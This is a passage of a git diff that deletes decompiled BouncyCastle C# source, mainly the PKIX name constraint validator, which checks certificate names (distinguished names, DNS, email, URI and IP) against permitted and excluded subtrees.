(IX509Store crlStore in crlStores) - { - try - { - set.AddAll(crlStore.GetMatches(crlSelect)); - flag = true; - } - catch (X509StoreException innerException) - { - ex = new Exception("Exception searching in X.509 CRL store.", innerException); - } - } - if (!flag && ex != null) - { - throw ex; - } - return set; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixNameConstraintValidator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixNameConstraintValidator.cs deleted file mode 100644 index 0256a2f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixNameConstraintValidator.cs +++ /dev/null @@ -1,1445 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Pkix; - -public class PkixNameConstraintValidator -{ - private ISet excludedSubtreesDN = new HashSet(); - - private ISet excludedSubtreesDNS = new HashSet(); - - private ISet excludedSubtreesEmail = new HashSet(); - - private ISet excludedSubtreesURI = new HashSet(); - - private ISet excludedSubtreesIP = new HashSet(); - - private ISet permittedSubtreesDN; - - private ISet permittedSubtreesDNS; - - private ISet permittedSubtreesEmail; - - private ISet permittedSubtreesURI; - - private ISet permittedSubtreesIP; - - private static bool WithinDNSubtree(Asn1Sequence dns, Asn1Sequence subtree) - { - if (subtree.Count < 1) - { - return false; - } - if (subtree.Count > dns.Count) - { - return false; - } - for (int num = subtree.Count - 1; num >= 0; num--) - { - if (!subtree[num].Equals(dns[num])) - { - return false; - } - } - return true; - } - - public void CheckPermittedDN(Asn1Sequence dns) - { - CheckPermittedDN(permittedSubtreesDN, dns); - } - - public void CheckExcludedDN(Asn1Sequence dns) - { - CheckExcludedDN(excludedSubtreesDN, dns); - } - - private void CheckPermittedDN(ISet permitted, Asn1Sequence dns) - { - if (permitted == null || (permitted.Count == 0 && dns.Count == 0)) - { - return; - } - IEnumerator enumerator = permitted.GetEnumerator(); - while (enumerator.MoveNext()) - { - Asn1Sequence subtree = (Asn1Sequence)enumerator.Current; - if (WithinDNSubtree(dns, subtree)) - { - return; - } - } - throw new PkixNameConstraintValidatorException("Subject distinguished name is not from a permitted subtree"); - } - - private void CheckExcludedDN(ISet excluded, Asn1Sequence dns) - { - if (excluded.IsEmpty) - { - return; - } - IEnumerator enumerator = excluded.GetEnumerator(); - while (enumerator.MoveNext()) - { - Asn1Sequence subtree = (Asn1Sequence)enumerator.Current; - if (WithinDNSubtree(dns, subtree)) - { - throw new PkixNameConstraintValidatorException("Subject distinguished name is from an excluded subtree"); - } - } - } - - private ISet IntersectDN(ISet permitted, ISet dns) - { - ISet set = new HashSet(); - IEnumerator enumerator = dns.GetEnumerator(); - while (enumerator.MoveNext()) - { - Asn1Sequence instance = Asn1Sequence.GetInstance(((GeneralSubtree)enumerator.Current).Base.Name.ToAsn1Object()); - if (permitted == null) - { - if (instance != null) - { - set.Add(instance); - } - continue; - } - IEnumerator enumerator2 = permitted.GetEnumerator(); - while (enumerator2.MoveNext()) - { - Asn1Sequence asn1Sequence = (Asn1Sequence)enumerator2.Current; - if (WithinDNSubtree(instance, asn1Sequence)) - { - set.Add(instance); - } - else if (WithinDNSubtree(asn1Sequence, instance)) - { - set.Add(asn1Sequence); - } - } - } - return set; - } - - private ISet UnionDN(ISet excluded, Asn1Sequence dn) - { - if (excluded.IsEmpty) - { - if (dn == null) - { - return excluded; - } - excluded.Add(dn); - return excluded; - } - ISet set = new HashSet(); - IEnumerator enumerator = excluded.GetEnumerator(); - while (enumerator.MoveNext()) - { - Asn1Sequence asn1Sequence = (Asn1Sequence)enumerator.Current; - if (WithinDNSubtree(dn, asn1Sequence)) - { - set.Add(asn1Sequence); - continue; - } - if (WithinDNSubtree(asn1Sequence, dn)) - { - set.Add(dn); - continue; - } - set.Add(asn1Sequence); - set.Add(dn); - } - return set; - } - - private ISet IntersectEmail(ISet permitted, ISet emails) - { - ISet set = new HashSet(); - IEnumerator enumerator = emails.GetEnumerator(); - while (enumerator.MoveNext()) - { - string text = ExtractNameAsString(((GeneralSubtree)enumerator.Current).Base); - if (permitted == null) - { - if (text != null) - { - set.Add(text); - } - continue; - } - IEnumerator enumerator2 = permitted.GetEnumerator(); - while (enumerator2.MoveNext()) - { - string email = (string)enumerator2.Current; - intersectEmail(text, email, set); - } - } - return set; - } - - private ISet UnionEmail(ISet excluded, string email) - { - if (excluded.IsEmpty) - { - if (email == null) - { - return excluded; - } - excluded.Add(email); - return excluded; - } - ISet set = new HashSet(); - IEnumerator enumerator = excluded.GetEnumerator(); - while (enumerator.MoveNext()) - { - string email2 = (string)enumerator.Current; - unionEmail(email2, email, set); - } - return set; - } - - private ISet IntersectIP(ISet permitted, ISet ips) - { - ISet set = new HashSet(); - IEnumerator enumerator = ips.GetEnumerator(); - while (enumerator.MoveNext()) - { - byte[] octets = Asn1OctetString.GetInstance(((GeneralSubtree)enumerator.Current).Base.Name).GetOctets(); - if (permitted == null) - { - if (octets != null) - { - set.Add(octets); - } - continue; - } - IEnumerator enumerator2 = permitted.GetEnumerator(); - while (enumerator2.MoveNext()) - { - byte[] ipWithSubmask = (byte[])enumerator2.Current; - set.AddAll(IntersectIPRange(ipWithSubmask, octets)); - } - } - return set; - } - - private ISet UnionIP(ISet excluded, byte[] ip) - { - if (excluded.IsEmpty) - { - if (ip == null) - { - return excluded; - } - excluded.Add(ip); - return excluded; - } - ISet set = new HashSet(); - IEnumerator enumerator = excluded.GetEnumerator(); - while (enumerator.MoveNext()) - { - byte[] ipWithSubmask = (byte[])enumerator.Current; - set.AddAll(UnionIPRange(ipWithSubmask, ip)); - } - return set; - } - - private ISet UnionIPRange(byte[] ipWithSubmask1, byte[] ipWithSubmask2) - { - ISet set = new HashSet(); - if (Arrays.AreEqual(ipWithSubmask1, ipWithSubmask2)) - { - set.Add(ipWithSubmask1); - } - else - { - set.Add(ipWithSubmask1); - set.Add(ipWithSubmask2); - } - return set; - } - - private ISet IntersectIPRange(byte[] ipWithSubmask1, byte[] ipWithSubmask2) - { - if (ipWithSubmask1.Length != ipWithSubmask2.Length) - { - return new HashSet(); - } - byte[][] array = ExtractIPsAndSubnetMasks(ipWithSubmask1, ipWithSubmask2); - byte[] ip = array[0]; - byte[] array2 = array[1]; - byte[] ip2 = array[2]; - byte[] array3 = array[3]; - byte[][] array4 = MinMaxIPs(ip, array2, ip2, array3); - byte[] ip3 = Min(array4[1], array4[3]); - byte[] ip4 = Max(array4[0], array4[2]); - if (CompareTo(ip4, ip3) == 1) - { - return new HashSet(); - } - byte[] ip5 = Or(array4[0], array4[2]); - byte[] subnetMask = Or(array2, array3); - ISet set = new HashSet(); - set.Add(IpWithSubnetMask(ip5, subnetMask)); - return set; - } - - private byte[] IpWithSubnetMask(byte[] ip, byte[] subnetMask) - { - int num = ip.Length; - byte[] array = new byte[num * 2]; - Array.Copy(ip, 0, array, 0, num); - Array.Copy(subnetMask, 0, array, num, num); - return array; - } - - private byte[][] ExtractIPsAndSubnetMasks(byte[] ipWithSubmask1, byte[] ipWithSubmask2) - { - int num = ipWithSubmask1.Length / 2; - byte[] array = new byte[num]; - byte[] array2 = new byte[num]; - Array.Copy(ipWithSubmask1, 0, array, 0, num); - Array.Copy(ipWithSubmask1, num, array2, 0, num); - byte[] array3 = new byte[num]; - byte[] array4 = new byte[num]; - Array.Copy(ipWithSubmask2, 0, array3, 0, num); - Array.Copy(ipWithSubmask2, num, array4, 0, num); - return new byte[4][] { array, array2, array3, array4 }; - } - - private byte[][] MinMaxIPs(byte[] ip1, byte[] subnetmask1, byte[] ip2, byte[] subnetmask2) - { - int num = ip1.Length; - byte[] array = new byte[num]; - byte[] array2 = new byte[num]; - byte[] array3 = new byte[num]; - byte[] array4 = new byte[num]; - for (int i = 0; i < num; i++) - { - array[i] = (byte)(ip1[i] & subnetmask1[i]); - array2[i] = (byte)((ip1[i] & subnetmask1[i]) | ~subnetmask1[i]); - array3[i] = (byte)(ip2[i] & subnetmask2[i]); - array4[i] = (byte)((ip2[i] & subnetmask2[i]) | ~subnetmask2[i]); - } - return new byte[4][] { array, array2, array3, array4 }; - } - - private void CheckPermittedEmail(ISet permitted, string email) - { - if (permitted == null) - { - return; - } - IEnumerator enumerator = permitted.GetEnumerator(); - while (enumerator.MoveNext()) - { - string constraint = (string)enumerator.Current; - if (EmailIsConstrained(email, constraint)) - { - return; - } - } - if (email.Length == 0 && permitted.Count == 0) - { - return; - } - throw new PkixNameConstraintValidatorException("Subject email address is not from a permitted subtree."); - } - - private void CheckExcludedEmail(ISet excluded, string email) - { - if (excluded.IsEmpty) - { - return; - } - IEnumerator enumerator = excluded.GetEnumerator(); - while (enumerator.MoveNext()) - { - string constraint = (string)enumerator.Current; - if (EmailIsConstrained(email, constraint)) - { - throw new PkixNameConstraintValidatorException("Email address is from an excluded subtree."); - } - } - } - - private void CheckPermittedIP(ISet permitted, byte[] ip) - { - if (permitted == null) - { - return; - } - IEnumerator enumerator = permitted.GetEnumerator(); - while (enumerator.MoveNext()) - { - byte[] constraint = (byte[])enumerator.Current; - if (IsIPConstrained(ip, constraint)) - { - return; - } - } - if (ip.Length == 0 && permitted.Count == 0) - { - return; - } - throw new PkixNameConstraintValidatorException("IP is not from a permitted subtree."); - } - - private void checkExcludedIP(ISet excluded, byte[] ip) - { - if (excluded.IsEmpty) - { - return; - } - IEnumerator enumerator = excluded.GetEnumerator(); - while (enumerator.MoveNext()) - { - byte[] constraint = (byte[])enumerator.Current; - if (IsIPConstrained(ip, constraint)) - { - throw new PkixNameConstraintValidatorException("IP is from an excluded subtree."); - } - } - } - - private bool IsIPConstrained(byte[] ip, byte[] constraint) - { - int num = ip.Length; - if (num != constraint.Length / 2) - { - return false; - } - byte[] array = new byte[num]; - Array.Copy(constraint, num, array, 0, num); - byte[] array2 = new byte[num]; - byte[] array3 = new byte[num]; - for (int i = 0; i < num; i++) - { - array2[i] = (byte)(constraint[i] & array[i]); - array3[i] = (byte)(ip[i] & array[i]); - } - return Arrays.AreEqual(array2, array3); - } - - private bool EmailIsConstrained(string email, string constraint) - { - string text = email.Substring(email.IndexOf('@') + 1); - if (constraint.IndexOf('@') != -1) - { - if (Platform.ToUpperInvariant(email).Equals(Platform.ToUpperInvariant(constraint))) - { - return true; - } - } - else if (!constraint[0].Equals((object?)'.')) - { - if (Platform.ToUpperInvariant(text).Equals(Platform.ToUpperInvariant(constraint))) - { - return true; - } - } - else if (WithinDomain(text, constraint)) - { - return true; - } - return false; - } - - private bool WithinDomain(string testDomain, string domain) - { - string text = domain; - if (Platform.StartsWith(text, ".")) - { - text = text.Substring(1); - } - string[] array = text.Split(new char[1] { '.' }); - string[] array2 = testDomain.Split(new char[1] { '.' }); - if (array2.Length <= array.Length) - { - return false; - } - int num = array2.Length - array.Length; - for (int i = -1; i < array.Length; i++) - { - if (i == -1) - { - if (array2[i + num].Equals("")) - { - return false; - } - } - else if (!Platform.EqualsIgnoreCase(array2[i + num], array[i])) - { - return false; - } - } - return true; - } - - private void CheckPermittedDNS(ISet permitted, string dns) - { - if (permitted == null) - { - return; - } - IEnumerator enumerator = permitted.GetEnumerator(); - while (enumerator.MoveNext()) - { - string text = (string)enumerator.Current; - if (WithinDomain(dns, text) || Platform.ToUpperInvariant(dns).Equals(Platform.ToUpperInvariant(text))) - { - return; - } - } - if (dns.Length == 0 && permitted.Count == 0) - { - return; - } - throw new PkixNameConstraintValidatorException("DNS is not from a permitted subtree."); - } - - private void checkExcludedDNS(ISet excluded, string dns) - { - if (excluded.IsEmpty) - { - return; - } - IEnumerator enumerator = excluded.GetEnumerator(); - while (enumerator.MoveNext()) - { - string text = (string)enumerator.Current; - if (WithinDomain(dns, text) || Platform.EqualsIgnoreCase(dns, text)) - { - throw new PkixNameConstraintValidatorException("DNS is from an excluded subtree."); - } - } - } - - private void unionEmail(string email1, string email2, ISet union) - { - if (email1.IndexOf('@') != -1) - { - string text = email1.Substring(email1.IndexOf('@') + 1); - if (email2.IndexOf('@') != -1) - { - if (Platform.EqualsIgnoreCase(email1, email2)) - { - union.Add(email1); - return; - } - union.Add(email1); - union.Add(email2); - } - else if (Platform.StartsWith(email2, ".")) - { - if (WithinDomain(text, email2)) - { - union.Add(email2); - return; - } - union.Add(email1); - union.Add(email2); - } - else if (Platform.EqualsIgnoreCase(text, email2)) - { - union.Add(email2); - } - else - { - union.Add(email1); - union.Add(email2); - } - } - else if (Platform.StartsWith(email1, ".")) - { - if (email2.IndexOf('@') != -1) - { - string testDomain = email2.Substring(email1.IndexOf('@') + 1); - if (WithinDomain(testDomain, email1)) - { - union.Add(email1); - return; - } - union.Add(email1); - union.Add(email2); - } - else if (Platform.StartsWith(email2, ".")) - { - if (WithinDomain(email1, email2) || Platform.EqualsIgnoreCase(email1, email2)) - { - union.Add(email2); - return; - } - if (WithinDomain(email2, email1)) - { - union.Add(email1); - return; - } - union.Add(email1); - union.Add(email2); - } - else if (WithinDomain(email2, email1)) - { - union.Add(email1); - } - else - { - union.Add(email1); - union.Add(email2); - } - } - else if (email2.IndexOf('@') != -1) - { - string a = email2.Substring(email1.IndexOf('@') + 1); - if (Platform.EqualsIgnoreCase(a, email1)) - { - union.Add(email1); - return; - } - union.Add(email1); - union.Add(email2); - } - else if (Platform.StartsWith(email2, ".")) - { - if (WithinDomain(email1, email2)) - { - union.Add(email2); - return; - } - union.Add(email1); - union.Add(email2); - } - else if (Platform.EqualsIgnoreCase(email1, email2)) - { - union.Add(email1); - } - else - { - union.Add(email1); - union.Add(email2); - } - } - - private void unionURI(string email1, string email2, ISet union) - { - if (email1.IndexOf('@') != -1) - { - string text = email1.Substring(email1.IndexOf('@') + 1); - if (email2.IndexOf('@') != -1) - { - if (Platform.EqualsIgnoreCase(email1, email2)) - { - union.Add(email1); - return; - } - union.Add(email1); - union.Add(email2); - } - else if (Platform.StartsWith(email2, ".")) - { - if (WithinDomain(text, email2)) - { - union.Add(email2); - return; - } - union.Add(email1); - union.Add(email2); - } - else if (Platform.EqualsIgnoreCase(text, email2)) - { - union.Add(email2); - } - else - { - union.Add(email1); - union.Add(email2); - } - } - else if (Platform.StartsWith(email1, ".")) - { - if (email2.IndexOf('@') != -1) - { - string testDomain = email2.Substring(email1.IndexOf('@') + 1); - if (WithinDomain(testDomain, email1)) - { - union.Add(email1); - return; - } - union.Add(email1); - union.Add(email2); - } - else if (Platform.StartsWith(email2, ".")) - { - if (WithinDomain(email1, email2) || Platform.EqualsIgnoreCase(email1, email2)) - { - union.Add(email2); - return; - } - if (WithinDomain(email2, email1)) - { - union.Add(email1); - return; - } - union.Add(email1); - union.Add(email2); - } - else if (WithinDomain(email2, email1)) - { - union.Add(email1); - } - else - { - union.Add(email1); - union.Add(email2); - } - } - else if (email2.IndexOf('@') != -1) - { - string a = email2.Substring(email1.IndexOf('@') + 1); - if (Platform.EqualsIgnoreCase(a, email1)) - { - union.Add(email1); - return; - } - union.Add(email1); - union.Add(email2); - } - else if (Platform.StartsWith(email2, ".")) - { - if (WithinDomain(email1, email2)) - { - union.Add(email2); - return; - } - union.Add(email1); - union.Add(email2); - } - else if (Platform.EqualsIgnoreCase(email1, email2)) - { - union.Add(email1); - } - else - { - union.Add(email1); - union.Add(email2); - } - } - - private ISet intersectDNS(ISet permitted, ISet dnss) - { - ISet set = new HashSet(); - IEnumerator enumerator = dnss.GetEnumerator(); - while (enumerator.MoveNext()) - { - string text = ExtractNameAsString(((GeneralSubtree)enumerator.Current).Base); - if (permitted == null) - { - if (text != null) - { - set.Add(text); - } - continue; - } - IEnumerator enumerator2 = permitted.GetEnumerator(); - while (enumerator2.MoveNext()) - { - string text2 = (string)enumerator2.Current; - if (WithinDomain(text2, text)) - { - set.Add(text2); - } - else if (WithinDomain(text, text2)) - { - set.Add(text); - } - } - } - return set; - } - - protected ISet unionDNS(ISet excluded, string dns) - { - if (excluded.IsEmpty) - { - if (dns == null) - { - return excluded; - } - excluded.Add(dns); - return excluded; - } - ISet set = new HashSet(); - IEnumerator enumerator = excluded.GetEnumerator(); - while (enumerator.MoveNext()) - { - string text = (string)enumerator.Current; - if (WithinDomain(text, dns)) - { - set.Add(dns); - continue; - } - if (WithinDomain(dns, text)) - { - set.Add(text); - continue; - } - set.Add(text); - set.Add(dns); - } - return set; - } - - private void intersectEmail(string email1, string email2, ISet intersect) - { - if (email1.IndexOf('@') != -1) - { - string text = email1.Substring(email1.IndexOf('@') + 1); - if (email2.IndexOf('@') != -1) - { - if (Platform.EqualsIgnoreCase(email1, email2)) - { - intersect.Add(email1); - } - } - else if (Platform.StartsWith(email2, ".")) - { - if (WithinDomain(text, email2)) - { - intersect.Add(email1); - } - } - else if (Platform.EqualsIgnoreCase(text, email2)) - { - intersect.Add(email1); - } - } - else if (Platform.StartsWith(email1, ".")) - { - if (email2.IndexOf('@') != -1) - { - string testDomain = email2.Substring(email1.IndexOf('@') + 1); - if (WithinDomain(testDomain, email1)) - { - intersect.Add(email2); - } - } - else if (Platform.StartsWith(email2, ".")) - { - if (WithinDomain(email1, email2) || Platform.EqualsIgnoreCase(email1, email2)) - { - intersect.Add(email1); - } - else if (WithinDomain(email2, email1)) - { - intersect.Add(email2); - } - } - else if (WithinDomain(email2, email1)) - { - intersect.Add(email2); - } - } - else if (email2.IndexOf('@') != -1) - { - string a = email2.Substring(email2.IndexOf('@') + 1); - if (Platform.EqualsIgnoreCase(a, email1)) - { - intersect.Add(email2); - } - } - else if (Platform.StartsWith(email2, ".")) - { - if (WithinDomain(email1, email2)) - { - intersect.Add(email1); - } - } - else if (Platform.EqualsIgnoreCase(email1, email2)) - { - intersect.Add(email1); - } - } - - private void checkExcludedURI(ISet excluded, string uri) - { - if (excluded.IsEmpty) - { - return; - } - IEnumerator enumerator = excluded.GetEnumerator(); - while (enumerator.MoveNext()) - { - string constraint = (string)enumerator.Current; - if (IsUriConstrained(uri, constraint)) - { - throw new PkixNameConstraintValidatorException("URI is from an excluded subtree."); - } - } - } - - private ISet intersectURI(ISet permitted, ISet uris) - { - ISet set = new HashSet(); - IEnumerator enumerator = uris.GetEnumerator(); - while (enumerator.MoveNext()) - { - string text = ExtractNameAsString(((GeneralSubtree)enumerator.Current).Base); - if (permitted == null) - { - if (text != null) - { - set.Add(text); - } - continue; - } - IEnumerator enumerator2 = permitted.GetEnumerator(); - while (enumerator2.MoveNext()) - { - string email = (string)enumerator2.Current; - intersectURI(email, text, set); - } - } - return set; - } - - private ISet unionURI(ISet excluded, string uri) - { - if (excluded.IsEmpty) - { - if (uri == null) - { - return excluded; - } - excluded.Add(uri); - return excluded; - } - ISet set = new HashSet(); - IEnumerator enumerator = excluded.GetEnumerator(); - while (enumerator.MoveNext()) - { - string email = (string)enumerator.Current; - unionURI(email, uri, set); - } - return set; - } - - private void intersectURI(string email1, string email2, ISet intersect) - { - if (email1.IndexOf('@') != -1) - { - string text = email1.Substring(email1.IndexOf('@') + 1); - if (email2.IndexOf('@') != -1) - { - if (Platform.EqualsIgnoreCase(email1, email2)) - { - intersect.Add(email1); - } - } - else if (Platform.StartsWith(email2, ".")) - { - if (WithinDomain(text, email2)) - { - intersect.Add(email1); - } - } - else if (Platform.EqualsIgnoreCase(text, email2)) - { - intersect.Add(email1); - } - } - else if (Platform.StartsWith(email1, ".")) - { - if (email2.IndexOf('@') != -1) - { - string testDomain = email2.Substring(email1.IndexOf('@') + 1); - if (WithinDomain(testDomain, email1)) - { - intersect.Add(email2); - } - } - else if (Platform.StartsWith(email2, ".")) - { - if (WithinDomain(email1, email2) || Platform.EqualsIgnoreCase(email1, email2)) - { - intersect.Add(email1); - } - else if (WithinDomain(email2, email1)) - { - intersect.Add(email2); - } - } - else if (WithinDomain(email2, email1)) - { - intersect.Add(email2); - } - } - else if (email2.IndexOf('@') != -1) - { - string a = email2.Substring(email2.IndexOf('@') + 1); - if (Platform.EqualsIgnoreCase(a, email1)) - { - intersect.Add(email2); - } - } - else if (Platform.StartsWith(email2, ".")) - { - if (WithinDomain(email1, email2)) - { - intersect.Add(email1); - } - } - else if (Platform.EqualsIgnoreCase(email1, email2)) - { - intersect.Add(email1); - } - } - - private void CheckPermittedURI(ISet permitted, string uri) - { - if (permitted == null) - { - return; - } - IEnumerator enumerator = permitted.GetEnumerator(); - while (enumerator.MoveNext()) - { - string constraint = (string)enumerator.Current; - if (IsUriConstrained(uri, constraint)) - { - return; - } - } - if (uri.Length == 0 && permitted.Count == 0) - { - return; - } - throw new PkixNameConstraintValidatorException("URI is not from a permitted subtree."); - } - - private bool IsUriConstrained(string uri, string constraint) - { - string text = ExtractHostFromURL(uri); - if (!Platform.StartsWith(constraint, ".")) - { - if (Platform.EqualsIgnoreCase(text, constraint)) - { - return true; - } - } - else if (WithinDomain(text, constraint)) - { - return true; - } - return false; - } - - private static string ExtractHostFromURL(string url) - { - string text = url.Substring(url.IndexOf(':') + 1); - int num = Platform.IndexOf(text, "//"); - if (num != -1) - { - text = text.Substring(num + 2); - } - if (text.LastIndexOf(':') != -1) - { - text = text.Substring(0, text.LastIndexOf(':')); - } - text = text.Substring(text.IndexOf(':') + 1); - text = text.Substring(text.IndexOf('@') + 1); - if (text.IndexOf('/') != -1) - { - text = text.Substring(0, text.IndexOf('/')); - } - return text; - } - - public void checkPermitted(GeneralName name) - { - switch (name.TagNo) - { - case 1: - CheckPermittedEmail(permittedSubtreesEmail, ExtractNameAsString(name)); - break; - case 2: - CheckPermittedDNS(permittedSubtreesDNS, DerIA5String.GetInstance(name.Name).GetString()); - break; - case 4: - CheckPermittedDN(Asn1Sequence.GetInstance(name.Name.ToAsn1Object())); - break; - case 6: - CheckPermittedURI(permittedSubtreesURI, DerIA5String.GetInstance(name.Name).GetString()); - break; - case 7: - { - byte[] octets = Asn1OctetString.GetInstance(name.Name).GetOctets(); - CheckPermittedIP(permittedSubtreesIP, octets); - break; - } - case 3: - case 5: - break; - } - } - - public void checkExcluded(GeneralName name) - { - switch (name.TagNo) - { - case 1: - CheckExcludedEmail(excludedSubtreesEmail, ExtractNameAsString(name)); - break; - case 2: - checkExcludedDNS(excludedSubtreesDNS, DerIA5String.GetInstance(name.Name).GetString()); - break; - case 4: - CheckExcludedDN(Asn1Sequence.GetInstance(name.Name.ToAsn1Object())); - break; - case 6: - checkExcludedURI(excludedSubtreesURI, DerIA5String.GetInstance(name.Name).GetString()); - break; - case 7: - { - byte[] octets = Asn1OctetString.GetInstance(name.Name).GetOctets(); - checkExcludedIP(excludedSubtreesIP, octets); - break; - } - case 3: - case 5: - break; - } - } - - public void IntersectPermittedSubtree(Asn1Sequence permitted) - { - IDictionary dictionary = Platform.CreateHashtable(); - IEnumerator enumerator = permitted.GetEnumerator(); - while (enumerator.MoveNext()) - { - GeneralSubtree instance = GeneralSubtree.GetInstance(enumerator.Current); - int tagNo = instance.Base.TagNo; - if (dictionary[tagNo] == null) - { - dictionary[tagNo] = new HashSet(); - } - ((ISet)dictionary[tagNo]).Add(instance); - } - IEnumerator enumerator2 = dictionary.GetEnumerator(); - while (enumerator2.MoveNext()) - { - DictionaryEntry dictionaryEntry = (DictionaryEntry)enumerator2.Current; - switch ((int)dictionaryEntry.Key) - { - case 1: - permittedSubtreesEmail = IntersectEmail(permittedSubtreesEmail, (ISet)dictionaryEntry.Value); - break; - case 2: - permittedSubtreesDNS = intersectDNS(permittedSubtreesDNS, (ISet)dictionaryEntry.Value); - break; - case 4: - permittedSubtreesDN = IntersectDN(permittedSubtreesDN, (ISet)dictionaryEntry.Value); - break; - case 6: - permittedSubtreesURI = intersectURI(permittedSubtreesURI, (ISet)dictionaryEntry.Value); - break; - case 7: - permittedSubtreesIP = IntersectIP(permittedSubtreesIP, (ISet)dictionaryEntry.Value); - break; - } - } - } - - private string ExtractNameAsString(GeneralName name) - { - return DerIA5String.GetInstance(name.Name).GetString(); - } - - public void IntersectEmptyPermittedSubtree(int nameType) - { - switch (nameType) - { - case 1: - permittedSubtreesEmail = new HashSet(); - break; - case 2: - permittedSubtreesDNS = new HashSet(); - break; - case 4: - permittedSubtreesDN = new HashSet(); - break; - case 6: - permittedSubtreesURI = new HashSet(); - break; - case 7: - permittedSubtreesIP = new HashSet(); - break; - case 3: - case 5: - break; - } - } - - public void AddExcludedSubtree(GeneralSubtree subtree) - { - GeneralName generalName = subtree.Base; - switch (generalName.TagNo) - { - case 1: - excludedSubtreesEmail = UnionEmail(excludedSubtreesEmail, ExtractNameAsString(generalName)); - break; - case 2: - excludedSubtreesDNS = unionDNS(excludedSubtreesDNS, ExtractNameAsString(generalName)); - break; - case 4: - excludedSubtreesDN = UnionDN(excludedSubtreesDN, (Asn1Sequence)generalName.Name.ToAsn1Object()); - break; - case 6: - excludedSubtreesURI = unionURI(excludedSubtreesURI, ExtractNameAsString(generalName)); - break; - case 7: - excludedSubtreesIP = UnionIP(excludedSubtreesIP, Asn1OctetString.GetInstance(generalName.Name).GetOctets()); - break; - case 3: - case 5: - break; - } - } - - private static byte[] Max(byte[] ip1, byte[] ip2) - { - for (int i = 0; i < ip1.Length; i++) - { - if ((ip1[i] & 0xFFFF) > (ip2[i] & 0xFFFF)) - { - return ip1; - } - } - return ip2; - } - - private static byte[] Min(byte[] ip1, byte[] ip2) - { - for (int i = 0; i < ip1.Length; i++) - { - if ((ip1[i] & 0xFFFF) < (ip2[i] & 0xFFFF)) - { - return ip1; - } - } - return ip2; - } - - private static int CompareTo(byte[] ip1, byte[] ip2) - { - if (Arrays.AreEqual(ip1, ip2)) - { - return 0; - } - if (Arrays.AreEqual(Max(ip1, ip2), ip1)) - { - return 1; - } - return -1; - } - - private static byte[] Or(byte[] ip1, byte[] ip2) - { - byte[] array = new byte[ip1.Length]; - for (int i = 0; i < ip1.Length; i++) - { - array[i] = (byte)(ip1[i] | ip2[i]); - } - return array; - } - - [Obsolete("Use GetHashCode instead")] - public int HashCode() - { - return GetHashCode(); - } - - public override int GetHashCode() - { - return HashCollection(excludedSubtreesDN) + HashCollection(excludedSubtreesDNS) + HashCollection(excludedSubtreesEmail) + HashCollection(excludedSubtreesIP) + HashCollection(excludedSubtreesURI) + HashCollection(permittedSubtreesDN) + HashCollection(permittedSubtreesDNS) + HashCollection(permittedSubtreesEmail) + HashCollection(permittedSubtreesIP) + HashCollection(permittedSubtreesURI); - } - - private int HashCollection(ICollection coll) - { - if (coll == null) - { - return 0; - } - int num = 0; - IEnumerator enumerator = coll.GetEnumerator(); - while (enumerator.MoveNext()) - { - object current = enumerator.Current; - num = ((!(current is byte[])) ? (num + current.GetHashCode()) : (num + Arrays.GetHashCode((byte[])current))); - } - return num; - } - - public override bool Equals(object o) - { - if (!(o is PkixNameConstraintValidator)) - { - return false; - } - PkixNameConstraintValidator pkixNameConstraintValidator = (PkixNameConstraintValidator)o; - if (CollectionsAreEqual(pkixNameConstraintValidator.excludedSubtreesDN, excludedSubtreesDN) && CollectionsAreEqual(pkixNameConstraintValidator.excludedSubtreesDNS, excludedSubtreesDNS) && CollectionsAreEqual(pkixNameConstraintValidator.excludedSubtreesEmail, excludedSubtreesEmail) && CollectionsAreEqual(pkixNameConstraintValidator.excludedSubtreesIP, excludedSubtreesIP) && CollectionsAreEqual(pkixNameConstraintValidator.excludedSubtreesURI, excludedSubtreesURI) && CollectionsAreEqual(pkixNameConstraintValidator.permittedSubtreesDN, permittedSubtreesDN) && CollectionsAreEqual(pkixNameConstraintValidator.permittedSubtreesDNS, permittedSubtreesDNS) && CollectionsAreEqual(pkixNameConstraintValidator.permittedSubtreesEmail, permittedSubtreesEmail) && CollectionsAreEqual(pkixNameConstraintValidator.permittedSubtreesIP, permittedSubtreesIP)) - { - return CollectionsAreEqual(pkixNameConstraintValidator.permittedSubtreesURI, permittedSubtreesURI); - } - return false; - } - - private bool CollectionsAreEqual(ICollection coll1, ICollection coll2) - { - if (coll1 == coll2) - { - return true; - } - if (coll1 == null || coll2 == null) - { - return false; - } - if (coll1.Count != coll2.Count) - { - return false; - } - IEnumerator enumerator = coll1.GetEnumerator(); - while (enumerator.MoveNext()) - { - object current = enumerator.Current; - IEnumerator enumerator2 = coll2.GetEnumerator(); - bool flag = false; - while (enumerator2.MoveNext()) - { - object current2 = enumerator2.Current; - if (SpecialEquals(current, current2)) - { - flag = true; - break; - } - } - if (!flag) - { - return false; - } - } - return true; - } - - private bool SpecialEquals(object o1, object o2) - { - if (o1 == o2) - { - return true; - } - if (o1 == null || o2 == null) - { - return false; - } - if (o1 is byte[] && o2 is byte[]) - { - return Arrays.AreEqual((byte[])o1, (byte[])o2); - } - return o1.Equals(o2); - } - - private string StringifyIP(byte[] ip) - { - string text = ""; - for (int i = 0; i < ip.Length / 2; i++) - { - text = text + (ip[i] & 0xFF) + "."; - } - text = text.Substring(0, text.Length - 1); - text += "/"; - for (int j = ip.Length / 2; j < ip.Length; j++) - { - text = text + (ip[j] & 0xFF) + "."; - } - return text.Substring(0, text.Length - 1); - } - - private string StringifyIPCollection(ISet ips) - { - string text = ""; - text += "["; - IEnumerator enumerator = ips.GetEnumerator(); - while (enumerator.MoveNext()) - { - text = text + StringifyIP((byte[])enumerator.Current) + ","; - } - if (text.Length > 1) - { - text = text.Substring(0, text.Length - 1); - } - return text + "]"; - } - - public override string ToString() - { - string text = ""; - text += "permitted:\n"; - if (permittedSubtreesDN != null) - { - text += "DN:\n"; - text = text + permittedSubtreesDN.ToString() + "\n"; - } - if (permittedSubtreesDNS != null) - { - text += "DNS:\n"; - text = text + permittedSubtreesDNS.ToString() + "\n"; - } - if (permittedSubtreesEmail != null) - { - text += "Email:\n"; - text = text + permittedSubtreesEmail.ToString() + "\n"; - } - if (permittedSubtreesURI != null) - { - text += "URI:\n"; - text = text + 